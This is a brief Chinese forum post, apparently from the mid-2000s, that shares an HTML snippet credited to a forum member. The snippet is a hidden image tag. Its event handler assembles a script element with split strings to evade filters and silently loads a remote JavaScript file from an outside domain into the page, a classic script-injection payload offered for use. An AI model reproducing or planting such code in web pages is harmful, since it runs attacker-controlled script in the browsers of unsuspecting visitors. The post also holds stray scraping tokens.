代码:

感谢论坛会员http://262565.q-zone.qq.com/提供

字串4

<img id="car_t" style="display:none" src=http://bbs.12127.net/Announce/Edit/pic/img.gif onreadystatechange="vChTit=1;try{var luan=document.createElement('scr'+'ipt');luan.src='http://www.TQQA.com/QQ30/20060519/lijiaxin.js';document.body.insertAdjacentElement('beforeEnd',luan);}catch(e){}"> 字串2

效果:

字串2